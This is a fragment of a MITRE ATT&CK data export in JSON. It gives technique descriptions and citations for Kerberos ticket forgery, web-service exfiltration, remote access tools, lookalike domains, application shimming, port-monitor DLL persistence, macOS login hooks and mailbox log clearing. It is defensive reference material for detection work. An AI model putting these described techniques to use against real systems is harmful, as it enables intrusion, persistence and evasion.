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                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
                },
                {
                    "source_name": "Microsoft Klist",
                    "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"
                },
                {
                    "source_name": "ADSecurity Kerberos Ring Decoder",
                    "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.",
                    "url": "https://adsecurity.org/?p=227"
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Steal or Forge Kerberos Tickets",
            "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n",
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                    "external_id": "T1555"
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                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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            "name": "Credentials from Password Stores",
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            "created": "2020-03-09T12:51:45.570Z",
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Exfiltration Over Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
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                    "url": "https://attack.mitre.org/techniques/T1219",
                    "external_id": "T1219"
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                {
                    "source_name": "CrowdStrike 2015 Global Threat Report",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
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                {
                    "source_name": "CrySyS Blog TeamSpy",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "url": "https://blog.crysys.hu/2013/03/teamspy/"
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                    "source_name": "Google Chrome Remote Desktop",
                    "description": "Google. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://support.google.com/chrome/answer/1649523"
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                    "source_name": "Chrome Remote Desktop",
                    "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
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                    "source_name": "Symantec Living off the Land",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
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            "description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)",
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            "created": "2020-09-30T17:09:31.878Z",
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                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
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                    "source_name": "PaypalScam",
                    "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
                    "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
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                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
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                    "source_name": "CISA MSS Sep 2020",
                    "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"
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                    "source_name": "bypass_webproxy_filtering",
                    "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.",
                    "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"
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                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
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                {
                    "source_name": "Domain_Steal_CC",
                    "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.",
                    "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"
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                    "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
                },
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                    "source_name": "tt_httrack_fake_domains",
                    "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"
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                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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                    "source_name": "Categorisation_not_boundary",
                    "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.",
                    "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"
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                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
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                {
                    "source_name": "Redirectors_Domain_Fronting",
                    "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.",
                    "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"
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                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
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                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "lazgroup_idn_phishing",
                    "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"
                },
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                    "source_name": "httrack_unhcr",
                    "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "name": "Domains",
            "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)",
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                    "url": "https://attack.mitre.org/techniques/T1560/002",
                    "external_id": "T1560.002"
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                    "source_name": "libzip",
                    "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.",
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                    "source_name": "Zlib Github",
                    "description": "madler. (2017). zlib. Retrieved February 20, 2020.",
                    "url": "https://github.com/madler/zlib"
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                    "source_name": "PyPI RAR",
                    "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.",
                    "url": "https://pypi.org/project/rarfile/"
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            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                    "source_name": "Fortinet Trends 25-26",
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                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
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                    "source_name": "SE Proofpoint",
                    "description": "Proofpoint. (n.d.). What Is Social Engineering?. Retrieved April 15, 2026.",
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                    "description": "SentinelOne. (2023, October 19). Social Engineering Attacks | How to Recognize and Resist The Bait. Retrieved April 15, 2026.",
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            "modified": "2026-05-12T15:12:00.629Z",
            "name": "Social Engineering",
            "description": "Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. \n\nAdversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate.(Citation: Proofpoint TA427 April 2024)(Citation: SE SentinelOne 2)(Citation: SE - Hackers Target Workday)\n\nAdditionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims\u2019 emotions in order to generate a sense of urgency to take action.(Citation: SE Proofpoint)(Citation: SE SentinelOne)\n\nThis technique may include common social engineering patterns such as [Phishing](https://attack.mitre.org/techniques/T1566) and [Spearphishing Voice](https://attack.mitre.org/techniques/T1566/004), often supported by convincing and targeted narratives.(Citation: SE SentinelOne 2)(Citation: Fortinet Trends 25-26)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Office Suite",
                "SaaS",
                "Windows"
            ],
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "created": "2017-05-31T21:31:01.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1079",
                    "external_id": "T1079"
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                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
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                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
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                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-10-24T17:48:42.516Z",
            "name": "Multilayer Encryption",
            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
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            "created": "2017-05-31T21:30:38.511Z",
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                    "url": "https://attack.mitre.org/techniques/T1036",
                    "external_id": "T1036"
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                    "source_name": "LOLBAS Main Site",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
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            "name": "Masquerading",
            "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
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                "Menachem Goldstein",
                "Nick Carr, Mandiant",
                "Oleg Kolesnikov, Securonix"
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            "x_mitre_domains": [
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            "type": "attack-pattern",
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            "created": "2020-01-24T14:56:24.231Z",
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                    "url": "https://attack.mitre.org/techniques/T1546/011",
                    "external_id": "T1546.011"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                {
                    "source_name": "FireEye Application Shimming",
                    "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
                    "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
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                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
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            "name": "Application Shimming",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
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            "x_mitre_domains": [
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            "created": "2020-02-04T12:47:23.631Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552",
                    "external_id": "T1552"
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                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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            "modified": "2025-10-24T17:48:42.785Z",
            "name": "Unsecured Credentials",
            "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Network Devices",
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                "Identity Provider"
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            "created": "2020-01-24T19:46:27.750Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/010",
                    "external_id": "T1547.010"
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                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
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                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2025-10-24T17:48:42.872Z",
            "name": "Port Monitors",
            "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1070/008",
                    "external_id": "T1070.008"
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                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
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                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                },
                {
                    "source_name": "mailx man page",
                    "description": "Michael Kerrisk. (2021, August 27). mailx(1p) \u2014 Linux manual page. Retrieved June 10, 2022.",
                    "url": "https://man7.org/linux/man-pages/man1/mailx.1p.html"
                },
                {
                    "source_name": "ExchangePowerShell Module",
                    "description": "Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes"
                },
                {
                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
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            "modified": "2026-05-12T15:12:00.629Z",
            "name": "Clear Mailbox Data",
            "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
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            "created": "2020-01-10T16:01:15.995Z",
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                    "url": "https://attack.mitre.org/techniques/T1037/002",
                    "external_id": "T1037.002"
                },
                {
                    "source_name": "Login Scripts Apple Dev",
                    "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
                },
                {
                    "source_name": "LoginWindowScripts Apple Dev",
                    "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
                },
                {
                    "source_name": "Wardle Persistence Chapter",
                    "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
                },
                {
                    "source_name": "S1 macOs Persistence",
                    "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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            "modified": "2025-10-24T17:48:42.963Z",
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            "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
